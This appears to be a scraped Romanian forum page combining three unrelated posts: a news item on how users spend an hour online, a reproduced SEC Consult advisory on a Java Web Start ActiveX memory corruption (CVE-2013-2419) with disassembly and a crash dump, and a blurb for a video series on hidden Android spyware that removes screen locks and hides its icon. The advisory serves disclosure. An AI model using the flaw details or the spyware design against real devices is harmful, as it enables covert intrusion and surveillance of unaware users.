  20. Ce se intampla intr-o ora petrecuta pe net Cercetari realizate pe obiceiurile de consul a 25 de milioane de utilizatori ai internetului din intreaga lume scot la iveala faptul ca un sfert dintr-o ora petrecuta pe net este dedicata retelelor de socializare. Shoppingul online, divertismentul si retelele de socializare se afla pritre cele mai cautate pe internet de utilizatorii din intreaga lume. Studii realizate pe 25 de milioane de "navigatori" din intreaga lume arata ca americanii sunt cei mai dedicati socializarii, in timp ce britanicii sunt campioni la cumparaturile online. 10% dintre internautii din Regatul Unit isi dedica cea mai mare parte a timpului shoppingului, comparativ cu 9% dintre americani si 6% dintre australieni. Numai anul trecut de Craciun s-au "consumat" 370 de milioane de ore in cautarea cadourilor in Marea Britanie, cu 24% mai mult timp decat intr-o luna obisnuita. Retelele de socializare sunt cele mai populare in Statele Unite, 15 minute dintr-o ora dedicand americanii acestei forme de petrecere a timpului liber pe internet. Australienii petrec 14 minute pe Facebook sau Twitter, in timp ce britanicii doar 13 minute dintr-o ora. Australienii sunt cei mai mari consumatori de stiri, 6% din totalul timpului petrecut pe internet fiind dedicat site-urilor de stiri, britanicii dedicand doar 5% din timp, iar americanii doar 4%.

Java Web Start Launcher ActiveX Control - Memory Corruption SEC Consult Vulnerability Lab Security Advisory < 20130417-1 > ======================================================================= title: Java ActiveX Control Memory Corruption product: Java(TM) Web Start Launcher vulnerable version: Sun Java Version 7 Update 17 and before Sun Java Version 6 Update 43 and before Sun Java Version 5.0 Update 41 and before fixed version: Patch information see sections below CVE: CVE-2013-2419 impact: medium homepage: http://www.java.com/ found: 2012-11-13 by: A. Antukh SEC Consult Vulnerability Lab https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "To date, the Java platform has attracted more than 9 million software developers. It's used in every major industry segment and has a presence in a wide range of devices, computers, and networks. Java technology's versatility, efficiency, platform portability, and security make it the ideal technology for network computing. From laptops to datacenters, game consoles to scientific supercomputers, cell phones to the Internet, Java is everywhere!" Source: http://www.java.com/en/about/ Vulnerability overview/description: ----------------------------------- Memory corruption vulnerability exists in the launchApp() method of the deployJava1.dll which is loaded by Internet Explorer and used to launch javaws.exe with provided arguments. The second (optional) parameter that is responsible for embedded data is checked improperly, which causes memory corruption and reading from arbitrary address if specific conditions are met. Successful exploitation of this vulnerability could potentially result in an arbitrary code execution within the Java(TM) Web Start Launcher or cause the application to crash. Vulnerability details: ----------------- The launchApp() method expects the following arguments: *pJNLP, *pEmbedded (optional) and *pVmArgs (optional). Providing a single wrong *pJNLP argument causes an application to prompt an error message and exit. However, if an attacker provides the second argument, it will be checked before quitting. The function responsible for processing an auto-generated temp file containing input args is the following: .text:0040560F push eax ; size of input data .text:00405610 push esi ; malcrafted string .text:00405611 call tmp_processing If the input length doesn't satisfy condition of bitwise AND, the function returns zero and exits: .text:0040950B mov edx, [ebp+arg_4] .text:0040950E test dl, 3 ; if size satisfies condition .text:00409511 jz short loc_409517 ; jump to processing .text:00409513 xor eax, eax ; otherwise return 0 and exit .text:00409515 leave .text:00409516 retn The returned data is used later to write from, causing an access violation: .text:00405611 call tmp_processing .text:00405616 mov esi, eax ... (cc0.9fc): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00155a10 ebx=00000000 ecx=00000008 edx=ffd21610 esi=00000000 edi=00000001 eip=00402a0d esp=0012e6a8 ebp=0012e734 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 javaws+0x2a0d: 00402a0d 8b86cc000000 mov eax,dword ptr [esi+0CCh] ds:0023:000000cc=????????

Antukh / @2013 Sursa: Java Web Start Launcher ActiveX Control - Memory Corruption
  25. Description: This Series show, how to create an Android Application, which easily bypasses the Phone Users privacy and allows us to do Remote Code Execution on the Phone. If the phone is rooted, we can then Remove Screen Protections like Patterns, PIN and Passwords as well as installing the App as System App, without letting the User know what happens. Also it can remove the App Icon from the launcher, so the user may not even know, that the App is even installed.
